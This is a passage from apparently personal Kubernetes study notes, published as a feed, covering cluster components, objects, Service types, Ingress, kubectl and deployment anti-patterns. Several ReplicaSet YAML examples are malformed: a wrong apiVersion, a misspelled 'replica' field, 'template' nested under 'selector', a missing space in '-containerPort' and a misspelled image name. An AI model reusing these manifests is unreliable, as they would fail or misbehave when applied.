  </label>
</p>
<h5 id="kubelet">kubelet</h5>
<ul>
<li>is the most important component of a worker node, this controller communicates with the kube-apiserver to receive new and modified pod specifications</li>
<li>ensure that the pods and their associated containers are running as desired</li>
<li>reports to the control plane on the pods’ health and status</li>
<li>to start a pod, the kubelet uses the container runtime</li>
</ul>
<h5 id="container-runtime">Container runtime</h5>
<ul>
<li>is responsible for downloading images and running containers</li>
<li>rather than providing a single container runtime, Kubernetes implements a Container Runtime Interface that permits pluggability of the container runtime</li>
<li>Docker is likely the best-known runtime, Podman and Cri-o are two other commonly used container runtimes</li>
</ul>
<h5 id="kube-proxy">kube-proxy</h5>
<ul>
<li>is a network proxy that runs on each node in a cluster</li>
<li>maintains network rules that allow communication to Pods running on nodes — in other words, communication to workloads running on your cluster</li>
<li>This communication can come from within or outside of the cluster</li>
</ul>
<h3 id="objects-terms">Objects Terms</h3>
<ul>
<li><strong>software object</strong> - a bundle of data that has an identity, a state, and a behavior.
<ul>
<li>Example include variables, data structures, and specific functions.</li>
</ul>
</li>
<li><strong>entity</strong> - a person, place, or thing with an identity and associated data.
<ul>
<li>Example in banking, a customer account is an entity.</li>
</ul>
</li>
<li><strong>persistent</strong> - that lasts even if there is a server failure or network attack.
<ul>
<li>Example is persistent storage.</li>
</ul>
</li>
</ul>
<h3 id="kubernetes-objects">Kubernetes Objects</h3>
<ul>
<li>Kubernetes objects are persistent entities. Example: <strong>Pods</strong>, <strong>Namespaces</strong>, <strong>ReplicaSets</strong>, <strong>Deployments</strong>, and more.</li>
<li>Kubernetes objects consist of two main fields:
<ul>
<li><strong>object spec</strong> - provided by user and defines desired state</li>
<li><strong>status</strong> - provided by Kubernetes and defines current state</li>
</ul>
</li>
<li>Kubernetes works towards matching the current state to the desired state.</li>
<li>To work with these objects, use the Kubernetes API directly with the client libraries, and the kubectl command-line interface, or both</li>
</ul>
<h4 id="labels-and-selectors">Labels and selectors</h4>
<ul>
<li>Labels are key/value pairs attached to objects.
<ul>
<li>Intended for identification of objects.</li>
<li>Not unique. Many objects can have the same labels.</li>
<li>Helps to organize and group objects.</li>
</ul>
</li>
<li>Label selectors are the core grouping method in Kubernetes.
<ul>
<li>Identify and group a set of objects.</li>
</ul>
</li>
</ul>
<h4 id="namespaces-and-names">Namespaces and names</h4>
<ul>
<li>Namespaces provide a mechanism for isolating groups of resources within a single cluster.</li>
<li>This is useful when teams share a cluster for cost-saving purposes or for maintaining multiple projects in isolation.</li>
<li>There are different patterns of working with namespaces.
<ul>
<li>There may be only one namespace for a user who works with one team which only has one project that is deployed into a cluster.</li>
<li>Alternatively, there may be many teams or projects, or users with different needs, where additional namespaces may be created.</li>
</ul>
</li>
<li>Namespaces provide a scope for the names of objects
<ul>
<li>Each object must have a unique name</li>
<li>Names are uniques for that resource type within that namespace</li>
</ul>
</li>
</ul>
<h4 id="pods">Pods</h4>
<ul>
<li>is the simplest unit in Kubernetes</li>
<li>represents a process or a single instance of an application running in the cluster.</li>
<li>encapsulates one or more containers</li>
<li>replicating a pod serves to scale applications horizontally</li>
<li>YAML files are used to define the objects that you want to create.</li>
<li>The YAML files shown defines a simple pod.</li>
<li>A PodSpec must contain at least one container.</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">apiVersion</span><span class="p">:</span><span class="w"> </span><span class="l">v1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">Pod</span><span class="w"> </span><span class="c"># kind of object to be created</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">nginx</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">spec</span><span class="p">:</span><span class="w"> </span><span class="c"># provides the appropriate fields for the object</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">containers</span><span class="p">:</span><span class="w"> </span><span class="c"># container and will run in this Pod</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">nginx</span><span class="w"> </span><span class="c"># name of container</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">nginx:1.7.9</span><span class="w"> </span><span class="c"># image that will run in Pod</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">ports</span><span class="p">:</span><span class="w"> </span><span class="c"># port that container exposes</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span>- <span class="nt">containerPort</span><span class="p">:</span><span class="w"> </span><span class="m">80</span><span class="w">
</span></span></span></code></pre></div><h4 id="replicaset">ReplicaSet</h4>
<ul>
<li>is a set of identical running replicas of a Pod that are horizontally scale</li>
<li>the configuration files for a ReplicaSet and a Pod are different from each other</li>
<li>the replicas field specifies the number of replicas that should be running at any given time.</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">apiVersion</span><span class="p">:</span><span class="w"> </span><span class="l">v1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">ReplicaSet</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">nginx-replicaset</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">labels</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">app</span><span class="p">:</span><span class="w"> </span><span class="l">nginx</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">spec</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">replica</span><span class="p">:</span><span class="w"> </span><span class="m">3</span><span class="w"> </span><span class="c"># creates/deletes Pods to meet the desired number of replicas</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">selector</span><span class="p">:</span><span class="w"> </span><span class="c"># selector to identify which pods it can acquire</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">matchLabels</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">app</span><span class="p">:</span><span class="w"> </span><span class="l">nginx</span><span class="w"> </span><span class="c"># same as template labels below</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">template</span><span class="p">:</span><span class="w"> </span><span class="c"># defines the Pods that should be created by the ReplicaSet</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">labels</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">          </span><span class="nt">app</span><span class="p">:</span><span class="w"> </span><span class="l">nginx</span><span class="w"> </span><span class="c"># same as matchLabels above</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">spec</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">containers</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">          </span>- <span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">nginx</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">            </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">nginx:1.7.9</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">            </span><span class="nt">ports</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">              </span>- <span class="nt">containerPort</span><span class="p">:</span><span class="w"> </span><span class="m">80</span><span class="w">
</span></span></span></code></pre></div><blockquote>
<p><em>Note</em>: Creating ReplicaSets directly is not recommended. Instead, create a Deployment, which is a higher-level concept that manages ReplicaSets and offers more features and better control.</p>
</blockquote>
<h4 id="deployment">Deployment</h4>
<ul>
<li>is a higher-level object that provides updates for both Pods and ReplicaSets.
<ul>
<li>run multiple replicas of an application using ReplicaSets</li>
<li>are suitable for stateless applications</li>
</ul>
</li>
<li>for stateful applications, Stateful Sets are used</li>
<li>One key feature provided by Deployments but not by ReplicaSets is rolling updates</li>
<li>A rolling update scales up a new version to the appropriate number of replicas and scales down the old version to zero replicas</li>
<li>The ReplicaSet ensures that the appropriate number of Pods exist, while the Deployment orchestrates the roll out of a new version</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">apiVersion</span><span class="p">:</span><span class="w"> </span><span class="l">apps/v1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">Deployment</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">nginx-deployment</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">labels</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">app</span><span class="p">:</span><span class="w"> </span><span class="l">nginx</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">spec</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">replicas</span><span class="p">:</span><span class="w"> </span><span class="m">3</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">selector</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">matchLabels</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">app</span><span class="p">:</span><span class="w"> </span><span class="l">nginx</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">template</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">labels</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">app</span><span class="p">:</span><span class="w"> </span><span class="l">nginx</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">spec</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">containers</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span>- <span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">nginx</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">          </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">nginx:1.7.9</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">          </span><span class="nt">ports</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">            </span>- <span class="nt">containerPort</span><span class="p">:</span><span class="w"> </span><span class="m">80</span><span class="w">
</span></span></span></code></pre></div><h4 id="service">Service</h4>
<ul>
<li>is a REST object, like Pods</li>
<li>are a logical abstraction for a set of Pods in a cluster</li>
<li>provide policies for accessing the Pods and cluster</li>
<li>act as a load balancer across the Pods</li>
<li>is assigned a unique IP address for accessing applications deployed on Pods</li>
<li>eliminates the need for a separate service discovery process.</li>
</ul>
<p><strong>Service Properties</strong>:</p>
<ul>
<li>supports multiple protocols such as TCP, which is the default protocol, UDP, and others</li>
<li>supports multiple port definitions
<ul>
<li>The port number with the same name can vary in each backend Pod</li>
</ul>
</li>
<li>can have an optional selector and can optionally map incoming ports to a targetPort</li>
</ul>
<p><strong>Why a Service is needed</strong>:</p>
<ul>
<li>is needed because Pods in a cluster are volatile, can be destroyed and new Pods can be created at any time</li>
<li>this volatility leads to discoverability issues because of changing IP addresses</li>
<li>it keeps track of Pod changes and exposes a single IP address or a DNS name</li>
<li>utilizes selectors to target a set of Pods</li>
</ul>
<p>
  
  <input type="checkbox" id="zoomCheck-8f7af" hidden />
  <label for="zoomCheck-8f7af">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/service-application.webp"
      alt="Service Application"
       />
  </label>
</p>
<h5 id="service-types">Service types</h5>
<h6 id="clusterip">ClusterIP</h6>
<p>
  
  <input type="checkbox" id="zoomCheck-e38bf" hidden />
  <label for="zoomCheck-e38bf">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/cluster-ip-service.webp"
      alt="ClusterIP Service"
       />
  </label>
</p>
<ul>
<li>is the default and most common service type</li>
<li>assigns a cluster-internal IP address to the ClusterIP Service that makes the Service only reachable within the cluster.</li>
<li>cannot make requests to Service from outside the cluster.</li>
<li>You can set the ClusterIP address in the Service definition file</li>
<li>provides Inter-service communication within the cluster</li>
</ul>
<h6 id="nodeport">NodePort</h6>
<p>
  
  <input type="checkbox" id="zoomCheck-fc8e0" hidden />
  <label for="zoomCheck-fc8e0">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/node-port-service.webp"
      alt="NodePort Service"
       />
  </label>
</p>
<ul>
<li>an extension of ClusterIP Service</li>
<li>creates and routes the incoming requests automatically to the ClusterIP Service</li>
<li>exposes the Service on each Node’s IP address at a static port</li>
<li>exposes a single Service with no load-balancing requirements for multiple services.</li>
</ul>
<blockquote>
<p><em>Note</em> that for security purposes, production use is not recommended.</p>
</blockquote>
<h6 id="external-load-balancer-elb">External Load Balancer (ELB)</h6>
<p>
  
  <input type="checkbox" id="zoomCheck-da7a2" hidden />
  <label for="zoomCheck-da7a2">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/elb-service.webp"
      alt="ELB Service"
       />
  </label>
</p>
<ul>
<li>an extension of the NodePort Service</li>
<li>creates NodePort and ClusterIP Services automatically</li>
<li>integrates and automatically directs traffic to the NodePort Service with a cloud provider&rsquo;s ELB</li>
<li>To expose a Service to the Internet, you need a new ELB with an IP address</li>
<li>You can use a cloud provider’s ELB to host your cluster.</li>
</ul>
<h6 id="external-name">External Name</h6>
<p>
  
  <input type="checkbox" id="zoomCheck-4b62b" hidden />
  <label for="zoomCheck-4b62b">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/external-name-service.webp"
      alt="External Name Service"
       />
  </label>
</p>
<ul>
<li>maps to a DNS name and not to any selector</li>
<li>requires a <code>spec.externalName</code> parameter</li>
<li>maps the Service to the contents of the externalName field that returns a CNAME record and its value</li>
<li>can use an External name to create a Service that represents external storage and enable Pods from different namespaces to talk to each other</li>
</ul>
<h4 id="ingress">Ingress</h4>
<p>
  
  <input type="checkbox" id="zoomCheck-7281b" hidden />
  <label for="zoomCheck-7281b">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/ingress.webp"
      alt="Ingress"
       />
  </label>
</p>
<ul>
<li>is an API object that, when combined with a controller, provides routing rules to manage external users’ access to multiple services in a Kubernetes cluster</li>
<li>in production, Ingress exposes applications to the Internet via port 80 (for HTTP) or port 443 (for HTTPS)</li>
<li>while the cluster monitors Ingress, an external Load Balancer is expensive and is managed outside the cluster</li>
<li>acts as a supervisor for external access, exposing routes from outside the cluster to internal services</li>
<li>adheres to rules defined on the Ingress resource to regulate traffic routing.</li>
</ul>
<table>
<thead>
<tr>
<th>Feature</th>
<th>Ingress Objects</th>
<th>Ingress Controllers</th>
</tr>
</thead>
<tbody>
<tr>
<td>Definition</td>
<td>API object managing external access to services</td>
<td>Cluster resource implementing rules specified by Ingress</td>
</tr>
<tr>
<td>Primary Function</td>
<td>Regulates external access routing</td>
<td>Implements rules, fulfilling the Ingress</td>
</tr>
<tr>
<td>Configuration Source</td>
<td>Rules defined on the Ingress resource</td>
<td>Reads and processes information from the Ingress object</td>
</tr>
<tr>
<td>Traffic Handling</td>
<td>Manages HTTP and HTTPS routes</td>
<td>Utilizes load balancer, configures frontends for traffic</td>
</tr>
<tr>
<td>Activation</td>
<td>Active upon configuration with Ingress resource</td>
<td>Must be explicitly running for Ingress to function</td>
</tr>
<tr>
<td>Handling Protocols</td>
<td>Focused on HTTP and HTTPS</td>
<td>Implements rules for various protocols and ports</td>
</tr>
<tr>
<td>Automatic Startup</td>
<td>Activated with configuration</td>
<td>Requires explicit activation in the cluster</td>
</tr>
<tr>
<td>Analogy</td>
<td>Traffic rule set for the cluster</td>
<td>Executor, similar to Nginx instance handling rules</td>
</tr>
</tbody>
</table>
<h4 id="daemonset">DaemonSet</h4>
<p>
  
  <input type="checkbox" id="zoomCheck-5fe3f" hidden />
  <label for="zoomCheck-5fe3f">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/daemon-set.webp"
      alt="DaemonSet"
       />
  </label>
</p>
<ul>
<li>is an object that makes sure that Nodes run a copy of a Pod</li>
<li>As nodes are added to a cluster, Pods are added to the nodes</li>
<li>Pods are garbage collected when removed from a cluster</li>
<li>If you delete a DaemonSet, all Pods are removed</li>
<li>are ideally used for storage, logs, and monitoring nodes</li>
</ul>
<h4 id="statefulset">StatefulSet</h4>
<p>
  
  <input type="checkbox" id="zoomCheck-6362c" hidden />
  <label for="zoomCheck-6362c">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/stateful-set.webp"
      alt="StatefulSet"
       />
  </label>
</p>
<ul>
<li>is an object that manages stateful applications</li>
<li>manages deployment and scaling of Pods</li>
<li>provides guarantees about the ordering and uniqueness of Pods</li>
<li>maintains a sticky identity for each Pod request</li>
<li>provides persistent storage volumes for your workloads</li>
</ul>
<h4 id="job">Job</h4>
<p>
  
  <input type="checkbox" id="zoomCheck-95d48" hidden />
  <label for="zoomCheck-95d48">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="job.webp"
      alt="Job"
       />
  </label>
</p>
<ul>
<li>job creates Pods and tracks the Pod completion process</li>
<li>are retried until completed</li>
<li>Deleting a job will remove the created Pods</li>
<li>Suspending a Job will delete its active Pods until the job resumes</li>
<li>can run several Pods in parallel</li>
<li>a CronJob is regularly used to create Jobs on an iterative schedule</li>
</ul>
<h3 id="kubectl---the-kubernetes-command-line-tool">Kubectl - The Kubernetes Command Line Tool</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">kubectl <span class="o">[</span>command<span class="o">]</span> <span class="o">[</span>type<span class="o">]</span> <span class="o">[</span>name<span class="o">]</span> <span class="o">[</span>flags<span class="o">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="o">[</span>command<span class="o">]</span> <span class="o">=</span> operation performed <span class="o">(</span>create, get, apply, delete<span class="o">)</span>
</span></span><span class="line"><span class="cl">  <span class="o">[</span>type<span class="o">]</span>    <span class="o">=</span> resource <span class="nb">type</span> <span class="o">(</span>pod, deployment, replicaset<span class="o">)</span>
</span></span><span class="line"><span class="cl">  <span class="o">[</span>name<span class="o">]</span>    <span class="o">=</span> resource name <span class="o">(</span><span class="k">if</span> applicable<span class="o">)</span>
</span></span><span class="line"><span class="cl">  <span class="o">[</span>flags<span class="o">]</span>   <span class="o">=</span> special options or modifiers that override default values
</span></span></code></pre></div><p>
  
  <input type="checkbox" id="zoomCheck-0e069" hidden />
  <label for="zoomCheck-0e069">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/kubectl-command.webp"
      alt="Kubectl Commands"
       />
  </label>
</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">kubectl get services
</span></span><span class="line"><span class="cl">kubectl get pods --all-namespaces
</span></span><span class="line"><span class="cl">kubectl get deployment my-dep
</span></span><span class="line"><span class="cl">kubectl get pods -o wide
</span></span></code></pre></div><p>Key command types:</p>
<ul>
<li>Imperative commands</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># No audit trails</span>
</span></span><span class="line"><span class="cl">kubectl run nginx --image nginx
</span></span></code></pre></div><ul>
<li>Imperative object configuration</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Inconsistency if changed configuration aren&#39;t merged</span>
</span></span><span class="line"><span class="cl">kubectl create -f nginx.yaml
</span></span></code></pre></div><ul>
<li>Declarative object configuration</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># operation are identified by Kubectl, not the user</span>
</span></span><span class="line"><span class="cl"><span class="c1"># ideal for production systems</span>
</span></span><span class="line"><span class="cl">kubectl apply -f nginx/
</span></span></code></pre></div><h3 id="kubernetes-anti-patterns">Kubernetes Anti-patterns</h3>
<h4 id="avoid-baking-configuration-in-container-images">Avoid baking configuration in container images</h4>
<p>Containers offer the advantage of using a consistent image throughout the production process. To achieve adaptability across different environments, building images without embedding configuration directly into containers is essential.</p>
<p><strong>Issue:</strong> Problems arise when images contain environment-specific artifacts that deviate from the tested version, necessitating image rebuilds and risking inadequately tested versions in production. Identification of environment-dependent container images involves spotting features like hardcoded IP addresses, passwords, and environment-specific prefixes.</p>
<p><strong>Best practice:</strong> Create generic images independent of specific runtime settings. Containers enable the consistent use of a single image throughout the software lifecycle, promoting simplicity and efficiency.</p>
<h4 id="separate-application-and-infrastructure-deployment">Separate application and infrastructure deployment</h4>
<p>Infrastructure as Code (IaC) allows defining and deploying infrastructure like writing code. While deploying infrastructure through a pipeline is advantageous, separating infrastructure and application deployment is crucial.</p>
<p><strong>Issue:</strong> Using a single pipeline for both infrastructure and application deployment leads to resource and time wastage, especially when changes in application code outpace infrastructure changes.</p>
<p><strong>Best practice:</strong> Split infrastructure and application deployment into separate pipelines to optimize efficiency and resource utilization.</p>
<h4 id="eliminate-specific-order-in-deployment">Eliminate specific order in deployment</h4>
<p>Maintaining application stability despite delays in dependencies is crucial in container orchestration. Unlike traditional fixed startup orders, Kubernetes and containers initiate components simultaneously.</p>
<p><strong>Issue:</strong> Challenges arise when poor network latency disrupts communication, potentially causing pod crashes or temporary service unavailability.</p>
<p><strong>Best practice:</strong> Proactively anticipate failures, establish frameworks to minimize downtime, and adopt strategies for simultaneous component initiation to enhance application resilience.</p>
<h4 id="set-memory-and-cpu-limits-for-pods-problem">Set memory and CPU limits for pods problem</h4>
<p>The default Kubernetes setting without specified resource limits allows an application to potentially monopolize the entire cluster, causing disruptions.</p>
<p><strong>Best practice:</strong> Establish resource limits for all applications, conduct a thorough examination of each application&rsquo;s behavior under various conditions, and strike the right balance to optimize cluster performance.</p>
<h4 id="avoid-pulling-the-latest-tag-in-production-problem">Avoid pulling the latest tag in production problem</h4>
<p>Using the &ldquo;latest&rdquo; tag in production leads to unintended pod crashes as images are pulled down sporadically, lacking specificity.</p>
<p><strong>Best practice:</strong> Use specific and meaningful image tags, maintain the immutability of container images, store data outside containers in persistent storage, and avoid modifying containers post-deployment for safer and more repeatable deployments.</p>
<h4 id="segregate-production-and-non-production-workloads-problem">Segregate production and non-production workloads problem</h4>
<p>Relying on a single cluster for all operational needs poses challenges. Security concerns arise from default permissions and complications with non-namespaced Kubernetes resources.</p>
<p><strong>Best practice:</strong> Establish a second cluster exclusively for production purposes, avoiding complexities associated with multi-tenancy. Maintain at least two clusters—one for production and one for non-production.</p>
<h4 id="refrain-from-ad-hoc-deployments-with-kubectl-editpatch-problem">Refrain from ad-hoc deployments with kubectl edit/patch problem</h4>
<p>Configuration drift occurs when multiple environments deviate due to unplanned deployments or changes, leading to failed deployments.</p>
<p><strong>Best practice:</strong> Conduct all deployments through Git commits for comprehensive history, precise knowledge of cluster contents, and easy recreation or rollback of environments.</p>
<h4 id="implement-health-checks-with-liveness-and-readiness-probes-problem">Implement health checks with liveness and readiness probes problem</h4>
<p>Neglecting health checks can lead to various issues. Overly complex health checks with unpredictable timings can cause internal denial-of-service attacks within the cluster.</p>
<p><strong>Best practice:</strong> Configure health probes for each container, use liveness and readiness probes, and prioritize robust health checks for reliable application responsiveness.</p>
<h4 id="prioritize-secret-handling-and-use-vault-problem">Prioritize secret handling and use vault problem</h4>
<p>Embedding secrets directly into containers is poor practice. Using multiple secret handling methods or complex injection mechanisms can complicate local development and testing.</p>
<p><strong>Best practice:</strong> Use a consistent secret handling strategy, consider HashiCorp Vault, handle secrets uniformly across environments, and pass them to containers during runtime for enhanced resilience and security.</p>
<h4 id="use-controllers-and-avoid-running-multiple-processes-per-container-problem">Use controllers and avoid running multiple processes per container problem</h4>
<p>Directly using pods in production poses limitations. Pods lack durability, automatic rescheduling, and data retention guarantees. Running multiple processes in a single container without controllers can lead to issues.</p>
<p><strong>Best practice:</strong> Utilize Deployment with a replication factor, define one process per container, use multiple containers per pod if necessary, and leverage workload resources like Deployment, Job, or StatefulSet for reliability and scalability.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Kubernetes 201: Managing Apps</title>
      <link>https://sagarchamling.com/notes/kubernetes-201-managing-applications/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://sagarchamling.com/notes/kubernetes-201-managing-applications/</guid>
      <description>Managing Applications with Kubernetes Notes</description>
      <content:encoded><![CDATA[<h2 id="replicaset">ReplicaSet</h2>
<ul>
<li>ensures the right number of pods are always up and running</li>
<li>provide high availability through redundancy</li>
<li>adds or deletes pods for scaling</li>
<li>always tries to match the actual state of the replicas to the desired state</li>
<li>replaces failing pods or deletes additional pods to maintain the desired state</li>
<li>supersedes ReplicaControllers</li>
<li>Deployments manage ReplicaSets, send pods declarative updates</li>
</ul>
<h3 id="create-replicaset-from-scratch">Create ReplicaSet from scratch</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="c"># replicaset.yaml</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">apiVersion</span><span class="p">:</span><span class="w"> </span><span class="l">apps/v1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">ReplicaSet</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">hello-kubernetes</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">spec</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">replicas</span><span class="p">:</span><span class="w"> </span><span class="m">1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">selector</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">matchLabels</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">app</span><span class="p">:</span><span class="w"> </span><span class="l">hello-kubernetes</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">template</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">labels</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">          </span><span class="nt">app</span><span class="p">:</span><span class="w"> </span><span class="l">hello-kubernetes</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">spec</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">containers</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">          </span>- <span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">hello-kubernetes</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">            </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">paulbouwer/hello-kubernets:1.5</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">            </span><span class="nt">ports</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">              </span><span class="nt">-containerPort</span><span class="p">:</span><span class="w"> </span><span class="m">8080</span><span class="w">
</span></span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Outputs ReplicaSet was created</span>
</span></span><span class="line"><span class="cl">kubectl create -f replicaset.yaml
</span></span><span class="line"><span class="cl"><span class="c1"># Confirm by using &#34;get pods&#34;</span>
</span></span><span class="line"><span class="cl">kubectl get pods
</span></span><span class="line"><span class="cl"><span class="c1"># Output shows details about ReplicaSet and pod created</span>
</span></span><span class="line"><span class="cl">kubectl get rs
</span></span></code></pre></div><blockquote>
